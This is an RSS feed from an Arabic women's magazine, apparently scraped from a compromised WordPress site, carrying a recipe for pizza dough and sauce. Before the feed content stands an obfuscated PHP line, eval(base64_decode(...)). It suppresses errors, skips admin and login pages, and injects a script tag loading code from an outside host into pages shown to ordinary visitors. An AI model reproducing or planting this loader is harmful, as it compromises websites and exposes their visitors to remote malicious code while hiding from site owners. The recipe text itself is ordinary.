eval(base64_decode("aW5pX3NldCgiZGlzcGxheV9lcnJvcnMiLCAwKTsKaW5pX3NldCgiZGlzcGxheV9zdGFydHVwX2Vycm9ycyIsIDApOwoKaWYgKFBIUF9TQVBJICE9PSAiY2xpIiAmJiAoCiAgICBzdHJwb3MoQCRfU0VSVkVSWyJSRVFVRVNUX1VSSSJdLCAiL3dwLWFkbWluL2FkbWluLWFqYXgucGhwIikgPT09IGZhbHNlICYmCiAgICBzdHJwb3MoQCRfU0VSVkVSWyJSRVFVRVNUX1VSSSJdLCAiL3dwLWpzb24iKSA9PT0gZmFsc2UgJiYKICAgIHN0cnBvcyhAJF9TRVJWRVJbIlJFUVVFU1RfVVJJIl0sICIvd3AvdjIiKSA9PT0gZmFsc2UgJiYKICAgIHN0cnBvcyhAJF9TRVJWRVJbIlJFUVVFU1RfVVJJIl0sICIvd3AtYWRtaW4iKSA9PT0gZmFsc2UgJiYKICAgIHN0cnBvcyhAJF9TRVJWRVJbIlJFUVVFU1RfVVJJIl0sICIvd3AtbG9naW4ucGhwIikgPT09IGZhbHNlICYmCiAgICBzdHJ0b2xvd2VyKEAkX1NFUlZFUlsiSFRUUF9YX1JFUVVFU1RFRF9XSVRIIl0pICE9PSAieG1saHR0cHJlcXVlc3QiCikpIHsKICAgIHByaW50KGJhc2U2NF9kZWNvZGUoIlBITmpjbWx3ZENCemNtTTlJaTh2WVdzdVlXdGhiVFl3T0RBd0xtNWxkQzhpUGp3dmMyTnlhWEIwUGc9PSIpKTsKfQ==")); جوزال | طريقة تحضير البيتزا الصغيرة https://jouzal.com مجلة نسائية عربية Wed, 11 Jan 2023 23:03:59 +0000 ar hourly 1 https://jouzal.com/wp-content/uploads/2021/10/جوزال-2.png جوزال | طريقة تحضير البيتزا الصغيرة https://jouzal.com 32 32 طريقة تحضير عجينة البيتزا وصلصة البيتزا في المنزل شرح بالخطوات والفيديو https://jouzal.com/%d8%b7%d8%b1%d9%8a%d9%82%d8%a9-%d8%aa%d8%ad%d8%b6%d9%8a%d8%b1-%d8%b9%d8%ac%d9%8a%d9%86%d8%a9-%d8%a7%d9%84%d8%a8%d9%8a%d8%aa%d8%b2%d8%a7-%d9%88-%d8%b5%d9%84%d8%b5%d8%a9-%d8%a7%d9%84%d8%a8%d9%8a%d8%aa/ Sat, 24 Aug 2019 22:22:38 +0000 https://jouzal.com/?p=2942 طريقة تحضير عجينة البيتزا و صلصة البيتزا مثل المطاعم بسهولة في المنزل، حيث يمكنك متابعة المقال للتعرف على طريقة تحضير عجينة البيتزا ، بالاضافة إلى مقادير تحضير صوص البيتزا، كما يمكنك تحضير بيتزا المطاعم بكل سهولة من خلال هذه الطريقة، و اضافة المكونات المفضلة بعد فردها فى الصينية المخصصة لخبز البيتزا.

مقادير البيتزا

مقادير العجينة:

  • 6 أكواب دقيق متعدد الإستخدامات ( 750 جرام )
  • 3 ملاعق كبيرة زبدة بحرارة الغرفة ( 70 جرام )
  • 2 كوب حليب دافئ ( 400 مللي ).
  • 2 حبة بيض.
  • ملعقة كبيرة ونصف خميرة ( 15 جرام )
  • ملعقة كبيرة بيكنج بودر ( 10 جرام )
  • ملعقة كبيرة ملح ( 10 جرام )
  • 3 ملاعق كبيرة سكر ( 40 جرام )

طريقة تحضير عجينة البيتزا مثل المطاعم

  1. يخلط الحليب مع السكر و الخميرة و يقلب جيدا معا.
  2. يضاف البيض و الملح و يقلب جيدا حتى يختفى البيض و يندمج مع الحليب تماما.
  3. يضاف الدقيق المتعدد الاستخدامات بالتدريج إلى الخليط السائل، عند امتزاج المكونات و يكون صعب التقليب تبدا مرحلة العجن.
  4. تعجن حتى يتم الحصول على قوام متماسك، ثم يضاف 3 ملاعق من الزبدة و تعجن لمدة 10 دقائق حتى تحصل على قوام ناعم و متماسك.
  5. يحضر وعاء مدهون بالقليل من الزيت و توضع فيه العجينة، تغطى و تترك فى مكان دافئ لمدة تتراوح بين ساعة إلى ساعة و نصف.
  6. بعد الانتهاء تفرد العجينة في صينية

صلصة البيتزا

  • ملعقة كبيرة زيت زيتون.
  • 4 فصوص توم مفرومين.
  • 4 ملاعق كبيرة صلصة طماطم.
  • ملعقتين صوص باربيكيو.
  • 4 ملاعق كبيرة كاتشب.
  • نصف ملعقة صغيرة خل أبيض.
  • ملعقة صغيرة ملح.
  • ملعقة صغيرة ثوم بودر.
  • ملعقة صغيرة بصل بودر.
  • ملعقة صغيرة زعتر مجفف.
  • ملعقة صغيرة سكر.
  • نصف كوب ماء ساخن.

قد يهمك:

طريقة تحضير صوص البيتزا :

  1. يضاف زيت الزيتون إلى فصوص الثوم فى وعاء على النار ثم صلصة الطماطم ، و صوص الباربكيو ، و الكاتشب ، و الخل الأبيض و يقلب.
  2. يضاف الملح و السكر و الفلفل الاسود و الثوم البودر و البصل البودر و الزعتر المجفف و الماء الساخن على نار متوسطة الحرارة.
  3. يترك ليغلى لمدة دقيقتين فقط ، و تترك لتبرد ثم يمكنك استخدامها فى عمل البيتزا.

https://youtu.be/sLvZIM7Zx_k

]]>